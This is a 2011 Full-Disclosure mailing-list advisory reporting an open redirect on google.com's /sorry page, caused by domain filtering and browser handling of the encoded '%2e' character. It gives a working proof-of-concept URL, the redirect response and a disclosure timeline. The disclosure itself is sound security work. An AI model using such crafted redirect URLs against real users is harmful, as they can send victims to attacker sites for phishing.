Google.com - Open Redirect

[Piotr Duszynski <piotr () duszynski eu>]

=======================================================================
Google.com - Open Redirect
=======================================================================

Affected Software : Google.com domain
Severity          : Low
Local/Remote      : Remote
Author            : Piotr Duszynski (@drk1wi)

[Summary]

Due to a domain filtering bug and the way Chrome and Safari browsers 
are interpreting the '%2e' URL encoded char it is possible to
trigger an open redirection through the Google main domain.

[Vulnerability Details]

This vulnerability* has been verified on Chrome and Safari latest 
browsers.

HTTP GET request:

http://www.google.com/sorry/?continue=http://google.wp%252epl

HTTP response body:

HTTP/1.0 302 Moved Temporarily
Location: 
http://www.google.wp%2epl/sorry/?continue=http://google.wp%252epl

The fact that the %2e is interpreted as a '.' within the address bar, 
allows to trigger an open redirect.

* - Actually, Google claims that this type of bug does not impose any 
threat to the end user.

[Time-line]

18/06/2011 - Google notified
20/06/2011 - Google response
???        - Vendor patch release
18/07/2011 - Public disclosure


Cheers,
Piotr Duszynski (@drk1wi)
http://sharpsec.net


X. LEGAL NOTICES

Copyright (c) 2011 Piotr "drk1wi" Duszynski

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS 
condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, 
indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/